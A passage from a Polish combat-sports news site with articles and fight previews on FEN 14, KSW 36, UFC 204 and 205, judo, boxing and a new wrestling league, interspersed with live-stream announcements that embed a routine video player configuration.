Rywal Andrzeja Grzebyka zostanie ogłoszony w najbliższych dniach. W kategorii średniej na gali FEN 14 Silesian Rage walczyć będą również Mateusz Strzelczyk z Albertem Odzimkowskim i Łukasz Stanek z Adrianem Błeszyńskim. W pozostałych walkach na zasadach MMA kibice zobaczą m.in. Romana Szymańskiego, który będzie bronił pasa mistrzowskiego z starciu z Brazylijczykiem Joiltonem Santosem, a także Pawła Hadasia, Tyberiusza Kowalczyka i Akopa Szostaka, a w walkach K-1 – Tomasza Sararę, Pawła Biszczaka, Kamila Jenela i Tomasza Gromadzkiego.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kuczera: Nie czuję się gwiazdą

Piotr Kuczera coraz pewniej czuje się w rywalizacji seniorskiej. Najlepszym potwierdzeniem jest wywalczenie przed 21-latka brązowego medalu mistrzostw Europy seniorów. Kilka tygodni temu Kuczera stanął na trzecim stopniu podium podczas zawodów Grand Prix w Zagrzebiu. 21-latek zachowuje „chłodną głowę” i ciężko pracuje na kolejne sukcesy.

Rok 2015 był fenomenalny w wykonaniu Kuczery. Stawał na podium mistrzostw świata i Europy juniorów, czym zwrócił na siebie uwagę. Wielu zastanawiało się, czy w rywalizacji seniorskiej judoka nie przepadnie. Zawodnik Kejza Team Rybnik „utarł nosa” niedowiarkom.

Wystrzelił jak z procy

Tegoroczne starty Kuczera rozpoczął od wywalczenia drugiej lokaty w Pucharze Europy w Oberwart. 21-latek utrzymuje równą i stabilną formę. We wrześniu wywalczył brąz w Zagrzebiu w zawodach rangi Grand Prix. Można powiedzieć, że Polakowi sprzyjało szczęście. – W Zagrzebiu nie był to typowy dzień startowy, czułem się nieswojo. Zazwyczaj moje walki wyglądają nieco inaczej. Niestety, był to mój gorszy dzień i musiałem szukać innych rozwiązań taktycznych na wygranie walki. Każdy przeciwnik jest inny i z niektórymi nie powinno się wchodzić w kontakt, bo to ich ulubiony sposób walki. Dlatego też musiałem trzymać dystans, choćby w pierwszej walce z Czarnogórcem, który nastawił się jedynie na kontrowanie przez ura nage. Niemiec pasował mi, dlatego nie musiałem zmieniać swojego stylu i mogłem bić się bardziej otwarcie – opisuje Piotr Kuczera.

Brąz wywalczony w Kazaniu to największy sukces w karierze 21-latka. Po takim sukcesie niejednemu do głowy uderzyła „sodówka”. Kuczera cieszy się z trzeciego miejsca na mistrzostwa Europy, ale nastawiony jest na dalszą pracę. – Na pewno jestem zadowolony z tego roku. Na mistrzostwach Europy seniorów pokazałem, że z każdym mogę wygrać i praca z moim trenerem Arturem Kejzą idzie w dobrym kierunku. Czy czuje się gwiazdą? Nie, bo wiem że takie myślenie nie pozwoli mi na osiągnięcie celu jaki sobie założyłem – tłumaczy judoka.

W przypadku Kuczery śmiało można powiedzieć, że nie odczuł przejścia z poziomu juniorskiego na seniorski. – Na pewno poziom w seniorach jest wyższy. Jednak będąc juniorem jeździłem na campy międzynarodowe seniorów. Dzięki temu mogłem podnosić swój poziom sportowy, ale też zobaczyć, że nie brakuje mi dużo do tego, żeby odnosić sukcesy w grupie seniorów.  Stres towarzyszy podczas każdych zawodów. Jednak nie różni się od tego, który był w juniorach – wyjaśnia brązowy medalista mistrzostw Europy.

Pracowita jesień

Kuczera nie próżnuje i ciężko pracuje, żeby w kolejnych startach zaprezentować się równie efektownie, co w Kazaniu i osiągnąć sukces. – Moje najbliższe cele to mistrzostwa Polski seniorów, gdzie będę walczył o utrzymanie tytułu mistrza Polski. Już tydzień później czeka mnie start na bardzo prestiżowej imprezie – Grand Slamie w Abu Dhabi. Bardzo ważne będą także młodzieżowe mistrzostwa Europy, które odbędą się w połowie listopada – przedstawia Kuczera.

Fot. PZJudo

KM

Nie z Fury’m, a z Joshuą?

Wokół rewanżowego starcia Tysona Fury'ego z Władimirem Kliczko pojawia się coraz więcej znaków zapytania. Walki ani widu, ani słychu… Niewykluczone, że Ukrainiec w tym roku powalczy o mistrzostwo świata. Jego rywalem miałby być czempion IBF Anthony Joshua.

Władimir Kliczko nie może doczekać się rewanżowego starcia z Fury'm, jednak mistrz WBO i WBA narzeka na problemy zdrowotne. Ostatnie doniesienia mówią o wykryciu w jego organizmie kokainy. W związku z tym Ukrainiec musi uzbroić się w cierpliwość bądź szukać innego rywala. 

Miał być hit, będzie hit?

Tyson Fury już po raz drugi z powodów zdrowotnych nie stanie do walki z Władimirem Kliczko. Napięcie dodatkowo potęguje fakt, że w organizmie Brytyjczyka wykryto kokainę. Pojawiają się pytania, czy w związku z tym możliwe jest odebranie pięściarzowi pasów WBA i WBO. W obronę 28-latka wziął trener Peter Fury. Czempion mógł być bohaterem, ale stał się obiektem ataków. Coraz powszechniejsza staje się opinia, że Fury po prostu unika starcia z Kliczko.

Publiczność wypatruje pokaźnego bokserskiego kąska. Kliczko czeka na kolejną walkę już ponad dziesięć miesięcy. Głód walki jest coraz większy i Ukrainiec chciałby wejść do ringu. Niewykluczone, że jeszcze w tym roku stoczy pojedynek, którego stawką będzie pas IBF. Coraz głośniej mówi się o zakontraktowaniu starcia Kliczko-Anthony Joshua. 26-latek miał stoczyć kolejną walkę w obronie pasa 26 listopada w Manchesterze. Czy jego rywalem będzie ukraiński bokser, który przez lata dominował w kategorii królewskiej? Ponoć obozy obu pięściarzy prowadzą zaawansowane rozmowy, których owoce powinniśmy niebawem poznać. W grę mają wchodzić dwa terminy – 26 listopada i 10 grudnia.

Joshua to „młody wilk”, na którego uwagę szersza publiczność zwróciła rok temu. W maju położył na deski mocnego Kevina Johnsona. 26-latek urodzony w Watfordzie ma potężny cios, który stał się już postrachem dla kolejnych rywali. Anglik wszystkie siedemnaście walk wygrał przed czasem! Tytuł IBF wywalczył w kwietniu br., kiedy to w Londynie w drugiej rundzie znokautował Charlesa Martina. Dotychczas tytułu bronił tylko raz. Dominic Breazeale dzielnie się trzymał, ale kres jego możliwości przypadł na siódmą rundę. 

Pojedynek Joshua-Kliczko byłoby spotkaniem dwóch pokoleń, ale przede wszystkim starciem elektryzującym miłośników boksu.  

Co z Wilderem?

Mistrz świata WBC zaimponował w walce z Chrisem Arreolą. Dokończył pojedynek z kontuzją prawej dłoni i cieszył się z czwartej obrony tytułu.

Po pojedynku nie było jednak kolorowo. Deontay Wilder musiał oddać się pod opiekę lekarzy, przeszedł trzy operacje kontuzjowanej dłoni. Walka odbyła się w lipcu, mamy październik, a bokser z Alabamy zameldował się na sali treningowej. Wilder tarczuje lewą ręką i na jego powrót trzeba jeszcze poczekać. W ringu powinien pojawić się w pierwszym kwartale 2017 roku, jednak widać, że jest głodny walki. Warto zatem dokonać porównania mistrza WBC i czempiona WBA i WBO. Ciekawe, kto korzystniej w nim wypadnie?

KM

Sajewski będzie walczył o życie

Łukasz Sajewski znalazł się w gronie zawodników, którzy zaprezentują się podczas galu UFC 204. 8 października Polak będzie rywalem Marca Diakiese. Dla 25-latka to pojedynek z kategorii „o życie”.

Tym samym na gali w Manchesterze pojawi się aż trzech Polaków. Zwycięską passę będzie chciał przedłużyć Daniel Omielańczuk, a Damian Stasiak postara się o drugie zwycięstwo w UFC.

W roli zastępcy

Pierwotnie Łukasz Sajewski nie był przewidziany jako uczestnik gali w Manchesterze. Naprzeciw niepokonanego Marca Diakese miał stanąć Reza Madadi. 38-letni zawodnik z Iranu nie wystąpi na UFC 204 z powodu kontuzji. W związku z tym Diakiese musiał się liczyć ze zmianą rywala. Doświadczonego Madadiego zastąpi o 13 lat młodszy polski „lekki”. Dla Sajewskiego będzie to trzecia walka w UFC, z kolei Anglik zadebiutuje w najlepszej organizacji MMA na świecie. 

25-letni „Wookie” może pochwalić się większym doświadczeniem od rywala. Ma na koncie trzynaście zawodowych walk. Z kolei Diakiese dotychczas stoczył dziewięć pojedynków i  nie doznał żadnej porażki. 23-letni angielski fighter może pochwalić się tytułem mistrza federacji BAMMA. Diakiese będzie przeżywał stres w związku z debiutem w UFC, z kolei Sajewski musi zrobić wszystko, aby odnieść pierwsze zwycięstwo w najlepszej organizacji MMA na świecie.

Dla 25-latka będzie to pojedynek „o życie”. Sajewski w debiucie przegrał z Nickiem Heinem, a w kolejnym starciu lepszy okazał się Gilbert Burns. „Wookie” jest na krawędzi i musi zrobić wszystko, aby udowodnić, że warto dać mu jeszcze jedną szansę. Polski fighter wskoczył do karty walk na tydzień przed galą. Czasu na przygotowanie się i na rozpracowanie rywala niewiele. Zatem przed Sajewskim ogromne wyzwanie i pytanie „być albo nie być”.

Będzie jeszcze dwóch

W Manchesterze będzie biało-czerwono. Już siódmy pojedynek dla organizacji Dana White'a stoczy Daniel Omielańczuk. 34-letni zawodnik wagi ciężkiej wygląda coraz pewniej w UFC, ma fantastyczną serię trzech zwycięstw z rzędu. Najbliższym rywalem polskiego fightera będzie mocny Stefan Struved. Holender związany jest już z UFC siedem lat. W tym czasie stoczył wiele pojedynków z gwiazdami wagi ciężkiej m.in. Roy'em Nelsonem czy Alistairem Overeemem. 28-latek przystępuje do starcia z Omielańczukiem po pokonaniu Antonio Silvy. Na odniesienie 27 zwycięstwa w karierze Holender potrzebował… 16 sekund.

Trzecią walkę w UFC stoczy Damian Stasiak. W kwietniu 25-latek pokazał kunszt w starciu z Filipem Pejiciem, którego zmusił do poddania w pierwszej rundzie. Rywalem Polaka będzie Davey Grant. 30-letni Anglik stoczył w UFC dwie walki, zapisał na swoim koncie jedno zwycięstwo. Spotkają się zawodnicy, którzy większość walk kończą przed poddanie.

W walce wieczoru UFC 204 mistrzowskiego pasa w wadze średniej będzie bronił Michael Bisping. Naprzeciw niego stanie Dan Henderson. Ciekawie zapowiada się starcie Gegarda Mousasiego z Vitorem Belfortem. 

KM

LIVE: Mistrzostwa Polski Muay Thai 2016

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai. Zawody odbywają się w dniach 9-11 grudnia w Starachowicach.

[kod]

Mistrzostwa Polski Muay Thai Starachowice 2016

Mistrzostwa Polski Muay Thai Starachowice 2016

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MT_2016.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MT_2016.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MT_2016.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MT_2016.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Materla zgasił Palharesa

Michał Materla pokazał, że stać go na wielkie rzeczy. Oszołomił znanego z występów w UFC Rousimara Palharesa. Podczas KSW 36 w Zielonej Górze mistrzowskie pasy obronili Tomasz Narkun i Mateusz Gamrot.

Miłośnicy MMA mogą być zadowoleni. Podczas zielonogórskiej gali zobaczyli wiele efektownych akcji. Kolejne walki rozgrzewały publiczność do czerwoności. 

Obronili swoje zdobycze

Mówiło się, że takiego fightera jak Rousimar Palhares jeszcze w Polsce nie było. Ogromne doświadczenie w UFC było najlepszą wykładnię możliwości Brazylijczyka, który nie miał litości dla rywali i kończył kolejne walki przed czasem. Michał Materla stanął przed trudnym wyzwaniem. Polak musiał być niezwykle czujny.

Po początkowym rozpoznaniu walka przeniosła się do parteru, gdzie z góry znalazł się Materla. Były mistrz wagi średniej był ostrożny, także w stójce, gdzie trzymał dystans i czarował lewą ręką. Czekał i wyczuł najlepszy moment. Ten nadszedł w drugiej rundzie. Materla prawym podbródkowym odciął Brazylijczykowi prąd, a ten padł na deski jak rażony prądem. Wielki triumf popularnego „Magica”.

Mateusz Gamrot zrobił, co do niego należał. Popularny „Gamer” coraz lepiej czuje się w roli mistrza wagi lekkiej KSW. Renato „Pezinho” Gomes miał okazję odczuć to na własnej skórze. Gamrot szybko sprowadził rywalizację do parteru, gdzie budował swoją przewagę. W końcówce pierwszej rundy pojedynek wrócił do stójki. Szybkość i zdecydowanie – to atuty Polaka, do których należy dodać również konsekwencję. Szukał skrętówki i w końcu się udało.  

Tomasz Narkun obronił tytuł w kategorii półciężkiej. Polak zalał ciosami doskonale znanego z rywalizacji z Janem Błachowiczem Rameau Sokoudjou. Czarnoskóry zawodnik próbował znaleźć sposób na mistrza w parterze, jednak Narkun również nie ustępował. Pojedynek był niezwykle dynamiczny. Wynik starcia rozstrzygnął się w stójce, gdzie mistrz KSW nie miał litości dla Sokoudjou. Sędzia przerwał walkę, obaj zawodnicy byli niezwykle zmęczeni. Niecałe pięć minut, ale żywiołowość, energia i efektowność walki podniosły emocje w zielonogórskiej hali.

Super Japończyk, efektowna Brazylijka

Po raz kolejny wysokie umiejętności potwierdził Kleber Koike Erbst. Japończyk udowodnił, że w parterze czuje się jak ryba w wodzie. Szukał, szukał i w końcu znalazł sposób na Leszka Krakowskiego. Trójkąt nogami okazał się metodą na wygraną 26-latka. W pojedynku „ciężkich” lepszy Michał Kita. Michał Włodarek sprowadził pojedynek do parteru, jednak okazał się to gwóźdź do trumny. Kita wykonał skuteczną gilotynę i rywal odklepał. Ariane Lipski coraz lepiej prezentuje się podczas występów w Polsce. Brazylijka prawym sierpowym wprawiła w oszołomienie Sheilę Gaff. Kolejny cios sprawił, że rywalka upadła na deski. Lipski takiej szansy zmarnować nie mogła.

Druga wygrana Grzegorza Szulakowskiego podczas przygody z KSW. 29-latek przez trzy rundy zdominował Bartłomieja Kurczewskiego. Panowie mieli spotkać się już na KSW 34, jednak kontuzja wyeliminowała wtedy Szulakowskiego. Kurczewski poniósł drugą porażkę z rzędu. Na zwycięstwo na KSW nadal czeka Katarzyna Lubońska, która nie potrafiła znaleźć sposobu na Dianę Belbitę. Przez dwie rundy Rumunka zbudowała przewagę, imponowała mocnymi kopnięciami. Trzecia odsłona spokojniejsza, w końcu doszło do obalenia, jednak Lubońska znalazła się na plecach i nie mogła zdziałać zbyt wiele. 

Zielonogórska gala rozpoczęła się od starcia Macieja Kazieczko i Mariusza Mazura. 23-latek szybko został sprowadzony przez rywala do parteru. Mazur dominował, jednak Kazieczko dał sygnał, że może być groźny. Próbował zaskoczyć rywala balachą, ale bezskutecznie. Druga odsłona zdecydowanie na korzyść poznaniaka, który naruszył Mazura podbródkowym i potraktował go kilkoma łokciami. W trzeciej odsłonie walka toczyła się w karierze. Mazur nie był w stanie pokazać swoich możliwości w pojedynku debiutantów musiał uznać wyższość rywala.

KM

LIVE: Gala Angels of Glory II

Zapraszamy na transmisję telewizyjną z gali zawodowej K-1 "Angels of Glory II", której organizatorem jest federacja Ultimate Combat Associations. Gala odbędzię się w piątek 5 listopada 2016 r. w hali MOSiR w Sandomierzu.

[kod]

Gala Angels of Glory II

Gala Angels of Glory II

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/AoG2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/AoG2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/AoG2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/AoG2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Kto rozgrzeje zielonogórską publiczność?

W ostatnich dniach furorę robi informacja na temat walki Mariusza Pudzianowskiego z Pawłem „Popkiem” Rakiem na KSW 37. Jednak najbliższa gala zapowiada się równie emocjonująco. Na KSW 36 w Zielonej Górze pojawi się wielu ciekawych zawodników. W walce wieczoru Michał Materla zmierzy się z mocnym Rousimarem Palharesem.

KSW wyprowadza coraz mocniejsze ciosy. Akcja z zatrzymaniem „Popka” wprawiła niemalże wszystkich w osłupienie. Mocne tąpnięcie przed KSW 36. Pojawia się pytanie, czy zbliżająca się gala nie będzie nieco w cieniu ostatnich wydarzeń?

Wyzwanie Materli

Patrząc na fightcard zielonogórskiej gali można spodziewać się wielu ciekawych pojedynków. Apetyt rośnie w miarę jedzenia. W klatce KSW pojawi się 36-letni Rousimar Palhares. W walce wieczoru Brazylijczyk zmierzy się z Michałem Materlą, który stanie przed niezwykle trudnym wyzwaniem. Palhares to fighter, który stoczył dwanaście walk dla UFC. Po raz ostatni na gali amerykańskiej organizacji pojawił się w październiku 2013 roku. Brazylijczyk potrzebował zaledwie 31 sekund, aby rozprawić się z Mike'm Pierce'm.

Palhares należy do kategorii zawodników, którzy nie odpuszczają. Brazylijczyk jest do bólu skuteczny, o czym miał okazję przekonać Tomasz Drwal, który nie wytrzymał nawet minuty w oktagonie z zawodnikiem z Kraju Kawy. 36-latek jest niezwykle sprawny, zakłada dźwignie na nogi i rozbija kolejnych rywali. Jednak Brazylijczyka można pokonać, o czym przekonał wszystkich Emil Weber Meek, który w maju szybko rozbił doświadczonego fightera. Z pewnością materiał z tej walki dokładnie przeanalizował Michał Materla. Jeśli chce myśleć o odzyskaniu pasa wagi średniej, musi znaleźć sposób na Brazylijczyka.

Ponownie na KSW zobaczymy Rameau Sokoudjou. Zawodnik ze Stanów Zjednoczonych został zapamiętany przez polskich kibiców z rywalizacji z Janem Błachowiczem. Pokazał się wtedy z dobrej strony. Do Polski wraca po blisko pięciu latach. W tym czasie walczył na galach Bellatora. Ostatni rok był dla niego nieudany, gdyż przegrał dwie walki. Tegoroczne zmagania rozpoczął od wygranej z Mattem Hamillem na gali Venator FC 3. Do Zielonej Góry Sokoudjou przyjeżdża jako rywal Tomasza Narkuna. Mistrz wagi półciężkiej ostatnio jest w gazie i odnosi szybkie zwycięstwa.

Niepokonany Mateusz Gamrot stanie w obronie pasa w wadze lekkiej. 25-latek spotka się z Renato Gomesem Gabrielem. 29-latek ma fantastyczną serią. W tym roku wygrał trzy walki i wszystkie przed czasem. Dla „Gamera” to prawdziwe wyzwanie, ale Polak już niejednego rywala pozbawił złudzeń.

Nie zabraknie kobiet

Wszyscy żyją już polskim starciem o prymat w UFC pomiędzy Joanną Jędrzejczyk oraz Karoliną Kowalkiewicz. Na KSW 36 również nie zabraknie pięknych i utalentowanych pań. 

Katarzyna Lubońska poluje na pierwsze zwycięstwo podczas przygody z KSW. Jej rywalką będzie Rumunka Diana Belbita, która w marcu pokonała Paulinę Borkowską. W Zielonej Górze zaprezentuje się Ariane Lipski. Brazylijka ma na rozkładzie Katarzynę Lubońską, a tym razem zmierzy się z Sheilą Gaff, która swego czasu rywalizowała w UFC.

Kolejny raz w Polsce zaprezentuje się Kleber Koike Erbst, który we wcześniejszych występach zdobywał bonusy za najlepsze występy wieczoru. Japończyk wygrał z Anzorem Azhievem, ale musiał uznać wyższość Artura Sowińskiego. Teraz stanie naprzeciw niepokonanego Leszka Krakowskiego.

Podczas KSW 36 zaplanowano również walki: Macieja Kazieczko z Mariuszem Mazurem, Bartłomieja Kurczewskiego z Grzegorzem Szulakowskim oraz Michała Włodarka z Michałem Kitą.

KM

Szymański vs Santos w walce o tytuł na gali FEN 14 Silesian Rage

Jailton „Peregrino” Santos, uczestnik „TUF 3 Brasil” i jeden z najlepszych młodych fighterów MMA w Brazylii, będzie rywalem niepokonanego od ponad dwóch lat Romana Szymańskiego w walce wieczoru gali FEN 14 Silesian Rage, której stawką będzie pas mistrzowski FEN w kategorii lekkiej.

Dla Romana Szymańskiego będzie to pierwsza obrona tytułu mistrzowskiego FEN w wadze lekkiej, który zdobył w marcu tego roku, pokonując w widowiskowej walce wieczoru gali FEN 11 Warsaw Time Mariana Ziółkowskiego. Było to ósme zwycięstwo z rzędu niezwykle utalentowanego i efektownie walczącego reprezentanta klubu Linke Gold Team, a zarazem trzecie odniesione w federacji Fight Exclusive Night. Przed podpisaniem kontraktu z FEN wygrywał m.in. z Aleksandrem Georgasem i Jackiem Kreftem, a w ubiegłym roku idący jak burza fighter z Poznania pokonał w klatkoringu FEN Pawła Kiełka i Adama Golonkiewicza, co zaowocowało zdobyciem przez niego dwóch statuetek Heraklesów za 2015 rok w kategoriach Odkrycie Roku i Walka Roku.

Jailton Santos należy do najzdolniejszych brazylijskich zawodników MMA młodego pokolenia. Uchodzi za świetnego grapplera, który w walce umiejętnie wykorzystuje swoją sprawność i siłę fizyczną. Choć skończył dopiero 23 lata, ma już na koncie 15 zawodowych walk, z których aż 11 skończyło się jego zwycięstwem. Przed dwoma laty Santos był uczestnikiem trzeciej edycji programu „The Ultimate Fighter Brasil”, w którym miał okazję doskonalić swoje umiejętności w drużynie Chaela Sonnena, trzykrotnego pretendenta do pasa mistrzowskiego UFC. Na tym związki „Peregrino” z amerykańską organizacją się nie kończą – w lutym ubiegłego roku stoczył dobrą walkę na pełnym dystansie z jedną z obecnych gwiazd UFC Alexem Oliveirą, a od początku tego roku jest związany ze współpracującą blisko z UFC federacją Shooto Brazil. W klatce tej organizacji w kwietniu tego roku pokonał byłego fightera UFC, doświadczonego Luisa Ramosa, a w lipcu uległ innemu weteranowi MMA, mistrzowi Shooto Brazil wagi półśredniej Ismaelowi de Jesusowi.

Walka wieczoru Romana Szymańskiego z Jailtonem Santosem będzie jedną z dwóch na gali FEN 14 Silesian Rage, których stawką będzie tytuł mistrza Fight Exclusive Night – w drugiej o pas w formule K-1 walczyć będzie Tomasz Sarara. Oprócz nich 15 października w katowickim Spodku w klatkoringu FEN wystąpią m.in. Paweł Biszczak, Tomasz Gromadzki, Tyberiusz Kowalczyk, Akop Szostak, Paweł Hadaś, Albert Odzimkowski, Kamil Jenel i Paweł Brandys.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

LIVE: Gala Granda PRO 2

Zapraszamy na transmisję telewizyjną na żywo z gali zawodowej K-1 i MMA, której organizatorem jest Legia Fight Club. Jest to już druga z serii gal zawodowych pod nazwą GRANDA PRO.

[kod]

Granda Pro 2

Granda Pro 2

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPro2.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPro2.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPro2.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPro2.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: Mistrzostwa Świata Wushu – Ceremonia otwarcia

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Świata Wushu, które odbywają się w Pruszkowie k/ Warszawy w dniach od 16 do 20 października 2016 r..

[kod]

The 2nd World Taijiquan Championships

The 2nd World Taijiquan Championships

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MS_Wushu.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MS_Wushu.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MS_Wushu.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MS_Wushu.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Zapaśnicy czekają na ligowe zmagania

O pomyśle utworzenia Krajowej Ligi Zapaśniczej mówiło się od dłuższego czasu. Rozgrywki ruszą 2 listopada, w rywalizacji zaprezentuje się osiem zespołów.

W marcu ubiegłego roku w Warszawie podpisano umowę o powołaniu zawodowej ligi zapaśniczej. To szansa na zwiększenie popularności oraz promocję dyscypliny, a także podniesienie umiejętności poszczególnych zawodników.

Medal najlepszym świadectwem

Zapewne niewiele osób wie, że zapasy są czwartą dyscypliną w historii, która dostarczyła Polsce najwięcej medali olimpijskich. Biało-czerwoni wywalczyli 26 krążków, więcej niż judocy, a mniej niż bokserzy. Trudno obecnie powiedzieć, że jesteśmy zapaśniczą potęgą, ale z mistrzowskich imprez przywozimy medale. Na europejskim czempionacie w Rydze wywalczyliśmy pięć krążków, w tym po złoto sięgnął Magomiedmurad Gadżyjew (70kg). Zakończyły się również zmagania w wojskowych mistrzostwach świata w Skopje, gdzie Polacy zapisali na swoim koncie pięć medali.

Również podczas najważniejszej imprezy czterolecia zaznaczamy swoją obecność. W Rio de Janeiro cieszyliśmy się z brązowego medalu Moniki Michalik w kategorii 63kg. Cztery lata wcześniej na najniższym stopniu podium stanął Damian Janikowski. Nadal z utęsknieniem wspominamy fenomenalne występy złotych czempionów olimpijskich, czyli Andrzeja Wrońskiego, Ryszarda Wolnego czy Włodzimierza Zawadzkiego. Doskonale pamiętamy heroizm Andrzeja Suprona, który w 1980 roku w Moskwie wywalczył srebrny medal. Swego czasu był gotów oddać swoją zdobycz, gdy trwała dyskusja o wycofaniu zapasów z igrzysk. Mamy piękną historię i tradycję, bogate osiągnięcia, ale zapasy są gdzieś z boku. W wielu kategoriach brakuje wyrównanej rywalizacji, przez co cierpią zawodnicy.

Lekarstwem na całe zło ma być Krajowa Liga Zapaśnicza. Pierwszy akord wybrzmi już 2 listopada, w zmaganiach będą mogły brać udział zawodnicy z zagranicy. Projekt ma być zrealizowany z największą dokładnością.

Szansa na rozwój

Są kraje, gdzie zapasy są niemalże religią. Czy niebawem do tego grona dołączy także Polska? Krajowa Liga Zapaśnicza ma pozwolić rozreklamować zapasy w najlepszym wydaniu i pokazać, że mogą być również ciekawe dla widza.

Warto dodać, że rywalizacja toczyć będzie się w trzech stylach – kobiet, klasycznym i wolnym. Jak będą wyglądały zmagania? Tytuł drużynowego mistrza Polski trafi do ekipy, która zgromadzi najwięcej punktów w przekroju całego sezonu. Po każdym spotkaniu będzie wyłaniany najlepszy zawodnik danego starcia.

Do rywalizacji przystąpią następujące ekipy: Unia Racibórz, Legia Warszawa, Śląsk Wrocław, Grunwald Poznań, AKS Białogard, AKS Piotrków Trybunalski, Zagłębie Wałbrzych i Olimpijczyk Radom.

KM

Conor zaatakuje kolejny pas!

Conor McGregor ma tylko jeden cel. Chce gromadzić tytuły i udowodnić, że jest najlepszym fighterem na świecie. 12 listopada w Nowym Jorku Irlandczyk spróbuje odebrać pas mistrza wagi lekkiej UFC z rąk Eddie'ego Alvareza.

Gala UFC 205 zapowiada się niezwykle ekscytująco. Dla polskich kibiców MMA będzie to wyjątkowe wydarzenie z racji starcia o mistrzostwo w wadze słomkowej. Joanna Jędrzejczyk będzie broniła tytułu w pojedynku z Karoliną Kowalkiewicz.

Głód sukcesu

McGregora trudno zaklasyfikować w jakikolwiek sposób. Irlandczyk stał się gwiazdą i przyciąga uwagę tłumów, a w oktagonie potrafi robić niesamowite rzeczy. Z pewnością 28-latkowi nieco „utarł nosa” Nate Diaz, który pokonał go podczas gali UFC 196. Nikt się tego nie spodziewał, McGregor był w gazie po zdobyciu pasa w wadze piórkowej. Diaz duszeniem zza pleców zmusił Irlandczyka do poddania w drugiej rundzie. W sierpniu doszło do rewanżu i po morderczym boju lepszy okazał się McGregor.

28-latek po pokonaniu Jose Aldo, na co potrzebował zaledwie trzynastu sekund skupił się na szukaniu możliwości walki o kolejny tytuł. Wiele mówiło się o rywalizacji z Rafaelem dos Anjosem, czyli czempionem kategorii lekkiej. Brazylijczyk miał problemy zdrowotne, a w lipcu stoczył walkę z Eddie'm Alvarezem. Amerykanin pozbawił rywala tytułu, więc stał się obiektem zainteresowania ze strony McGregora. Irlandczyk jeszcze ani razu nie bronił pasa kategorii piórkowej, ale UFC nie naciska na niego, lecz spełnia jego życzenie. 12 listopada w Madison Square Garden McGregor stanie przed szansą zdobycia kolejnego pasa.

Irlandczyk trafił na wymagającego rywala. Eddie Alvarez rozkręca się w UFC, do której trafił w 2014 roku. Wcześniej święcił triumfy w Bellatorze, gdzie zanotował dziewięć zwycięstw i tylko jedną porażkę. Przygodę z UFC rozpoczął od przegranej z Donaldem Cerrone, ale później pokonał Gilberta Melendeza i Anthony'ego Pettisa. Dało mu to przepustkę do starcia o tytuł, w którym przed czasem uporał się z dos Anjosem.

Starcie polsko-polskie

Jeszcze rok temu mało kto wyobrażał sobie, że w UFC może dojść do starcia o pas mistrzowski. Cieszyliśmy się z sukcesów Joanny Jędrzejczyk, która wybijała z głowy marzenia o tytule kolejnym rywalkom. W ostatnim starciu o sile Polki przekonała się ponownie Claudia Gadelha.

Karolia Kowalkiewicz marzyła o tym, żeby stanąć do starcia o pas. Stoczyła trzy zwycięskie walki w amerykańskiej organizacji i dostała swoją szansę. Pojedynek dwóch Polek zapowiada się niezwykle ciekawie. Obie jeszcze nigdy nie przegrały, są odporne na ciosy i wytrzymałe, gdyż większość pojedynków toczyły na pełnym dystansie. 

Podczas gali w Nowym Jorku dojdzie do trzech pojedynków mistrzowskich. W wadze półśredniej Tyron Woodley spotka się z Stephenem Thompsonem.

KM

Na koniec medal Kuczery

Mocne wejście mieli reprezentanci Polski podczas turnieju Grand Prix w Zagrzebiu. Rozpoczęło się od złota Karoliny Pieńkowskiej (52kg), medalowy marsz ostatniego dnia zmagań zakończył Piotr Kuczera (90kg). Polski judoka stanął na najniższym stopniu podium.

Bałkańska przygoda okazała się udana dla biało-czerwonych. Każdego dnia rywalizacji Polacy sięgali po medale, aż dziewięciu naszych reprezentantów zajmowało miejsca punktowane.

Pierwsze podium 21-latka

Kariera Piotra Kuczery rozwija się w ekspresowym tempie. W ubiegłym roku zawodnik Polonii Rybnik odnosił sukcesy w rywalizacji juniorskiej. Z mistrzostw Europy i świata wracał z brązowymi medalami. W ten rok wszedł również dobrze, ale startował już w zawodach rangi seniorskiej.

